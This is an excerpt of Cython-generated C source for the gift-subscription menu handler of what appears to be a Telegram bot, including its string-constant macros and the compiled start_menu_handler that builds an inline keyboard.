__pyx_mstate_global->__pyx_n_u_gift +#define __pyx_kp_u_gift_2 __pyx_mstate_global->__pyx_kp_u_gift_2 +#define __pyx_n_s_gift_id __pyx_mstate_global->__pyx_n_s_gift_id +#define __pyx_n_s_gift_link __pyx_mstate_global->__pyx_n_s_gift_link +#define __pyx_n_s_gift_subscription_handler __pyx_mstate_global->__pyx_n_s_gift_subscription_handler +#define __pyx_n_s_gifts __pyx_mstate_global->__pyx_n_s_gifts +#define __pyx_n_u_gifts __pyx_mstate_global->__pyx_n_u_gifts +#define __pyx_n_s_gifts_text __pyx_mstate_global->__pyx_n_s_gifts_text +#define __pyx_n_s_handlers_payments_gift __pyx_mstate_global->__pyx_n_s_handlers_payments_gift +#define __pyx_kp_s_handlers_payments_gift_py __pyx_mstate_global->__pyx_kp_s_handlers_payments_gift_py +#define __pyx_n_s_handlers_texts __pyx_mstate_global->__pyx_n_s_handlers_texts +#define __pyx_n_s_hardware_id __pyx_mstate_global->__pyx_n_s_hardware_id +#define __pyx_n_u_hardware_id __pyx_mstate_global->__pyx_n_u_hardware_id +#define __pyx_n_s_hashlib __pyx_mstate_global->__pyx_n_s_hashlib +#define __pyx_n_s_hex __pyx_mstate_global->__pyx_n_s_hex +#define __pyx_n_s_hexdigest __pyx_mstate_global->__pyx_n_s_hexdigest +#define __pyx_kp_u_https_pocomacho_ru_solonetbot_co __pyx_mstate_global->__pyx_kp_u_https_pocomacho_ru_solonetbot_co +#define __pyx_n_s_id __pyx_mstate_global->__pyx_n_s_id +#define __pyx_n_s_import __pyx_mstate_global->__pyx_n_s_import +#define __pyx_n_s_info __pyx_mstate_global->__pyx_n_s_info +#define __pyx_n_s_initializing __pyx_mstate_global->__pyx_n_s_initializing +#define __pyx_n_s_is_coroutine __pyx_mstate_global->__pyx_n_s_is_coroutine +#define __pyx_n_s_is_used __pyx_mstate_global->__pyx_n_s_is_used +#define __pyx_n_u_is_used __pyx_mstate_global->__pyx_n_u_is_used +#define __pyx_kp_u_isenabled __pyx_mstate_global->__pyx_kp_u_isenabled +#define __pyx_n_s_items __pyx_mstate_global->__pyx_n_s_items +#define __pyx_n_s_json __pyx_mstate_global->__pyx_n_s_json +#define __pyx_n_s_logger __pyx_mstate_global->__pyx_n_s_logger +#define __pyx_n_s_main __pyx_mstate_global->__pyx_n_s_main +#define __pyx_n_s_message __pyx_mstate_global->__pyx_n_s_message +#define __pyx_n_u_message __pyx_mstate_global->__pyx_n_u_message +#define __pyx_n_s_months __pyx_mstate_global->__pyx_n_s_months +#define __pyx_n_u_my_gifts __pyx_mstate_global->__pyx_n_u_my_gifts +#define __pyx_n_s_my_gifts_handler __pyx_mstate_global->__pyx_n_s_my_gifts_handler +#define __pyx_n_s_name __pyx_mstate_global->__pyx_n_s_name +#define __pyx_n_s_open __pyx_mstate_global->__pyx_n_s_open +#define __pyx_n_s_payload __pyx_mstate_global->__pyx_n_s_payload +#define __pyx_n_s_platform __pyx_mstate_global->__pyx_n_s_platform +#define __pyx_n_s_post __pyx_mstate_global->__pyx_n_s_post +#define __pyx_n_s_price __pyx_mstate_global->__pyx_n_s_price +#define __pyx_n_u_profile __pyx_mstate_global->__pyx_n_u_profile +#define __pyx_n_s_read __pyx_mstate_global->__pyx_n_s_read +#define __pyx_n_s_recipient __pyx_mstate_global->__pyx_n_s_recipient +#define __pyx_n_u_recipient_tg_id __pyx_mstate_global->__pyx_n_u_recipient_tg_id +#define __pyx_n_s_reply_markup __pyx_mstate_global->__pyx_n_s_reply_markup +#define __pyx_n_s_response __pyx_mstate_global->__pyx_n_s_response +#define __pyx_n_s_result __pyx_mstate_global->__pyx_n_s_result +#define __pyx_n_s_router __pyx_mstate_global->__pyx_n_s_router +#define __pyx_n_s_row __pyx_mstate_global->__pyx_n_s_row +#define __pyx_n_s_selected_months __pyx_mstate_global->__pyx_n_s_selected_months +#define __pyx_n_u_selected_months __pyx_mstate_global->__pyx_n_u_selected_months +#define __pyx_n_s_send __pyx_mstate_global->__pyx_n_s_send +#define __pyx_n_s_session __pyx_mstate_global->__pyx_n_s_session +#define __pyx_n_s_sha256 __pyx_mstate_global->__pyx_n_s_sha256 +#define __pyx_n_s_shell __pyx_mstate_global->__pyx_n_s_shell +#define __pyx_n_s_show_alert __pyx_mstate_global->__pyx_n_s_show_alert +#define __pyx_n_s_spec __pyx_mstate_global->__pyx_n_s_spec +#define __pyx_n_s_split __pyx_mstate_global->__pyx_n_s_split +#define __pyx_n_s_start_menu_handler __pyx_mstate_global->__pyx_n_s_start_menu_handler +#define __pyx_n_s_startswith __pyx_mstate_global->__pyx_n_s_startswith +#define __pyx_n_s_state __pyx_mstate_global->__pyx_n_s_state +#define __pyx_n_s_status __pyx_mstate_global->__pyx_n_s_status +#define __pyx_n_u_status __pyx_mstate_global->__pyx_n_u_status +#define __pyx_n_s_store_gift_link __pyx_mstate_global->__pyx_n_s_store_gift_link +#define __pyx_n_s_strftime __pyx_mstate_global->__pyx_n_s_strftime +#define __pyx_n_s_strip __pyx_mstate_global->__pyx_n_s_strip +#define __pyx_n_s_subprocess __pyx_mstate_global->__pyx_n_s_subprocess +#define __pyx_n_u_success __pyx_mstate_global->__pyx_n_u_success +#define __pyx_n_s_system __pyx_mstate_global->__pyx_n_s_system +#define __pyx_n_s_test __pyx_mstate_global->__pyx_n_s_test +#define __pyx_n_s_text __pyx_mstate_global->__pyx_n_s_text +#define __pyx_n_s_tg_id __pyx_mstate_global->__pyx_n_s_tg_id +#define __pyx_n_s_throw __pyx_mstate_global->__pyx_n_s_throw +#define __pyx_n_s_timedelta __pyx_mstate_global->__pyx_n_s_timedelta +#define __pyx_n_s_types __pyx_mstate_global->__pyx_n_s_types +#define __pyx_kp_s_types_CallbackQuery __pyx_mstate_global->__pyx_kp_s_types_CallbackQuery +#define __pyx_n_s_typing __pyx_mstate_global->__pyx_n_s_typing +#define __pyx_n_s_update_balance __pyx_mstate_global->__pyx_n_s_update_balance +#define __pyx_n_s_user_tg_id __pyx_mstate_global->__pyx_n_s_user_tg_id +#define __pyx_n_s_utcnow __pyx_mstate_global->__pyx_n_s_utcnow +#define __pyx_n_s_uuid __pyx_mstate_global->__pyx_n_s_uuid +#define __pyx_n_s_uuid4 __pyx_mstate_global->__pyx_n_s_uuid4 +#define __pyx_n_s_validate_client_code __pyx_mstate_global->__pyx_n_s_validate_client_code +#define __pyx_kp_u_wmic_cpu_get_ProcessorId __pyx_mstate_global->__pyx_kp_u_wmic_cpu_get_ProcessorId +#define __pyx_int_1 __pyx_mstate_global->__pyx_int_1 +#define __pyx_int_2 __pyx_mstate_global->__pyx_int_2 +#define __pyx_int_3 __pyx_mstate_global->__pyx_int_3 +#define __pyx_int_4 __pyx_mstate_global->__pyx_int_4 +#define __pyx_int_30 __pyx_mstate_global->__pyx_int_30 +#define __pyx_int_200 __pyx_mstate_global->__pyx_int_200 +#define __pyx_codeobj_ __pyx_mstate_global->__pyx_codeobj_ +#define __pyx_tuple__8 __pyx_mstate_global->__pyx_tuple__8 +#define __pyx_tuple__28 __pyx_mstate_global->__pyx_tuple__28 +#define __pyx_tuple__35 __pyx_mstate_global->__pyx_tuple__35 +#define __pyx_tuple__37 __pyx_mstate_global->__pyx_tuple__37 +#define __pyx_tuple__38 __pyx_mstate_global->__pyx_tuple__38 +#define __pyx_tuple__41 __pyx_mstate_global->__pyx_tuple__41 +#define __pyx_tuple__45 __pyx_mstate_global->__pyx_tuple__45 +#define __pyx_tuple__48 __pyx_mstate_global->__pyx_tuple__48 +#define __pyx_tuple__49 __pyx_mstate_global->__pyx_tuple__49 +#define __pyx_tuple__50 __pyx_mstate_global->__pyx_tuple__50 +#define __pyx_tuple__51 __pyx_mstate_global->__pyx_tuple__51 +#define __pyx_tuple__52 __pyx_mstate_global->__pyx_tuple__52 +#define __pyx_tuple__53 __pyx_mstate_global->__pyx_tuple__53 +#define __pyx_tuple__54 __pyx_mstate_global->__pyx_tuple__54 +#define __pyx_tuple__55 __pyx_mstate_global->__pyx_tuple__55 +#define __pyx_tuple__57 __pyx_mstate_global->__pyx_tuple__57 +#define __pyx_codeobj__5 __pyx_mstate_global->__pyx_codeobj__5 +#define __pyx_codeobj__21 __pyx_mstate_global->__pyx_codeobj__21 +#define __pyx_codeobj__25 __pyx_mstate_global->__pyx_codeobj__25 +#define __pyx_codeobj__32 __pyx_mstate_global->__pyx_codeobj__32 +#define __pyx_codeobj__39 __pyx_mstate_global->__pyx_codeobj__39 +#define __pyx_codeobj__56 __pyx_mstate_global->__pyx_codeobj__56 +#define __pyx_ustring__22 __pyx_mstate_global->__pyx_ustring__22 +/* #### Code section: module_code ### */ +static PyObject *__pyx_gb_8handlers_8payments_4gift_2generator(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ + +/* "handlers/payments/gift.py":26 + * + * + * @router.callback_query(F.data == "gifts") # <<<<<<<<<<<<<< + * async def start_menu_handler(callback_query: types.CallbackQuery): + * """ 'start'. ' ' ' '.""" + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_8handlers_8payments_4gift_1start_menu_handler(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +); /*proto*/ +PyDoc_STRVAR(__pyx_doc_8handlers_8payments_4gift_start_menu_handler, "\320\236\320\261\321\200\320\260\320\261\320\276\321\202\321\207\320\270\320\272 \320\264\320\273\321\217 \320\272\320\276\320\273\320\261\321\215\320\272\320\260 'start'. \320\237\320\276\320\272\320\260\320\267\321\213\320\262\320\260\320\265\321\202 \320\274\320\265\320\275\321\216 \321\201 \320\272\320\275\320\276\320\277\320\272\320\260\320\274\320\270 '\320\241\320\276\320\267\320\264\320\260\321\202\321\214 \320\277\320\276\320\264\320\260\321\200\320\276\320\272' \320\270 '\320\234\320\276\320\270 \320\277\320\276\320\264\320\260\321\200\320\272\320\270'."); +static PyMethodDef __pyx_mdef_8handlers_8payments_4gift_1start_menu_handler = {"start_menu_handler", (PyCFunction)(void*)(__Pyx_PyCFunction_FastCallWithKeywords)__pyx_pw_8handlers_8payments_4gift_1start_menu_handler, __Pyx_METH_FASTCALL|METH_KEYWORDS, __pyx_doc_8handlers_8payments_4gift_start_menu_handler}; +static PyObject *__pyx_pw_8handlers_8payments_4gift_1start_menu_handler(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +) { + PyObject *__pyx_v_callback_query = 0; + #if !CYTHON_METH_FASTCALL + CYTHON_UNUSED Py_ssize_t __pyx_nargs; + #endif + CYTHON_UNUSED PyObject *const *__pyx_kwvalues; + PyObject* values[1] = {0}; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("start_menu_handler (wrapper)", 0); + #if !CYTHON_METH_FASTCALL + #if CYTHON_ASSUME_SAFE_MACROS + __pyx_nargs = PyTuple_GET_SIZE(__pyx_args); + #else + __pyx_nargs = PyTuple_Size(__pyx_args); if (unlikely(__pyx_nargs < 0)) return NULL; + #endif + #endif + __pyx_kwvalues = __Pyx_KwValues_FASTCALL(__pyx_args, __pyx_nargs); + { + PyObject **__pyx_pyargnames[] = {&__pyx_n_s_callback_query,0}; + if (__pyx_kwds) { + Py_ssize_t kw_args; + switch (__pyx_nargs) { + case 1: values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + CYTHON_FALLTHROUGH; + case 0: break; + default: goto __pyx_L5_argtuple_error; + } + kw_args = __Pyx_NumKwargs_FASTCALL(__pyx_kwds); + switch (__pyx_nargs) { + case 0: + if (likely((values[0] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_callback_query)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 26, __pyx_L3_error) + else goto __pyx_L5_argtuple_error; + } + if (unlikely(kw_args > 0)) { + const Py_ssize_t kwd_pos_args = __pyx_nargs; + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "start_menu_handler") < 0)) __PYX_ERR(0, 26, __pyx_L3_error) + } + } else if (unlikely(__pyx_nargs != 1)) { + goto __pyx_L5_argtuple_error; + } else { + values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + } + __pyx_v_callback_query = values[0]; + } + goto __pyx_L6_skip; + __pyx_L5_argtuple_error:; + __Pyx_RaiseArgtupleInvalid("start_menu_handler", 1, 1, 1, __pyx_nargs); __PYX_ERR(0, 26, __pyx_L3_error) + __pyx_L6_skip:; + goto __pyx_L4_argument_unpacking_done; + __pyx_L3_error:; + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_AddTraceback("handlers.payments.gift.start_menu_handler", __pyx_clineno, __pyx_lineno, __pyx_filename); + __Pyx_RefNannyFinishContext(); + return NULL; + __pyx_L4_argument_unpacking_done:; + __pyx_r = __pyx_pf_8handlers_8payments_4gift_start_menu_handler(__pyx_self, __pyx_v_callback_query); + + /* function exit code */ + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_8handlers_8payments_4gift_start_menu_handler(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query) { + struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler *__pyx_cur_scope; + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("start_menu_handler", 0); + __pyx_cur_scope = (struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler *)__pyx_tp_new_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler(__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler, __pyx_empty_tuple, NULL); + if (unlikely(!__pyx_cur_scope)) { + __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler *)Py_None); + __Pyx_INCREF(Py_None); + __PYX_ERR(0, 26, __pyx_L1_error) + } else { + __Pyx_GOTREF((PyObject *)__pyx_cur_scope); + } + __pyx_cur_scope->__pyx_v_callback_query = __pyx_v_callback_query; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_callback_query); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_callback_query); + { + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_4gift_2generator, __pyx_codeobj_, (PyObject *) __pyx_cur_scope, __pyx_n_s_start_menu_handler, __pyx_n_s_start_menu_handler, __pyx_n_s_handlers_payments_gift); if (unlikely(!gen)) __PYX_ERR(0, 26, __pyx_L1_error) + __Pyx_DECREF(__pyx_cur_scope); + __Pyx_RefNannyFinishContext(); + return (PyObject *) gen; + } + + /* function exit code */ + __pyx_L1_error:; + __Pyx_AddTraceback("handlers.payments.gift.start_menu_handler", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __Pyx_DECREF((PyObject *)__pyx_cur_scope); + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_gb_8handlers_8payments_4gift_2generator(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value) /* generator body */ +{ + struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler *__pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler *)__pyx_generator->closure); + PyObject *__pyx_r = NULL; + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + PyObject *__pyx_t_3 = NULL; + unsigned int __pyx_t_4; + PyObject *__pyx_t_5 = NULL; + PyObject *__pyx_t_6 = NULL; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("start_menu_handler", 0); + switch (__pyx_generator->resume_label) { + case 0: goto __pyx_L3_first_run; + case 1: goto __pyx_L4_resume_from_await; + default: /* CPython raises the right error here */ + __Pyx_RefNannyFinishContext(); + return NULL; + } + __pyx_L3_first_run:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 26, __pyx_L1_error) + + /* "handlers/payments/gift.py":30 + * """ 'start'. ' ' ' '.""" + * + * builder = InlineKeyboardBuilder() # <<<<<<<<<<<<<< + * + * builder.row(types.InlineKeyboardButton(text=" ", callback_data="gift")) + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 30, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, NULL}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 30, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_builder = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/gift.py":32 + * builder = InlineKeyboardBuilder() + * + * builder.row(types.InlineKeyboardButton(text=" ", callback_data="gift")) # <<<<<<<<<<<<<< + * + * builder.row(types.InlineKeyboardButton(text=" ", callback_data="my_gifts")) + */ + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 32, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_types); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 32, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 32, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 32, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_kp_u__2) < 0) __PYX_ERR(0, 32, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_callback_data, __pyx_n_u_gift) < 0) __PYX_ERR(0, 32, __pyx_L1_error) + __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 32, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, __pyx_t_6}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 32, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/gift.py":34 + * builder.row(types.InlineKeyboardButton(text=" ", callback_data="gift")) + * + * builder.row(types.InlineKeyboardButton(text=" ", callback_data="my_gifts")) # <<<<<<<<<<<<<< + * builder.row(types.InlineKeyboardButton(text=" ", callback_data="profile")) + * + */ + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 34, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_types); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 34, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 34, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __pyx_t_6 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 34, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_text, __pyx_kp_u__3) < 0) __PYX_ERR(0, 34, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_callback_data, __pyx_n_u_my_gifts) < 0) __PYX_ERR(0, 34, __pyx_L1_error) + __pyx_t_5 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_empty_tuple, __pyx_t_6); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 34, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __pyx_t_6 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_6)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_6); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_6, __pyx_t_5}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 34, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/gift.py":35 + * + * builder.row(types.InlineKeyboardButton(text=" ", callback_data="my_gifts")) + * builder.row(types.InlineKeyboardButton(text=" ", callback_data="profile")) # <<<<<<<<<<<<<< + * + * await callback_query.message.answer( + */ + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 35, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_types); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 35, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 35, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 35, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_text, __pyx_kp_u__4) < 0) __PYX_ERR(0, 35, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_callback_data, __pyx_n_u_profile) < 0) __PYX_ERR(0, 35, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_empty_tuple, __pyx_t_5); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 35, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_5)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_5); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_5, __pyx_t_3}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 35, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/gift.py":37 + * builder.row(types.InlineKeyboardButton(text=" ", callback_data="profile")) + * + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * text=" , ! ", reply_markup=builder.as_markup() + * ) + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 37, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_answer); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 37, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/gift.py":38 + * + * await callback_query.message.answer( + * text=" , ! ", reply_markup=builder.as_markup() # <<<<<<<<<<<<<< + * ) + * + */ + __pyx_t_1 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 38, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_text, __pyx_kp_u_b_b) < 0) __PYX_ERR(0, 38, __pyx_L1_error) + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 38, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_6 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_5))) { + __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_5); + if (likely(__pyx_t_6)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); + __Pyx_INCREF(__pyx_t_6); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_5, function); + __pyx_t_4 = 1; + } + 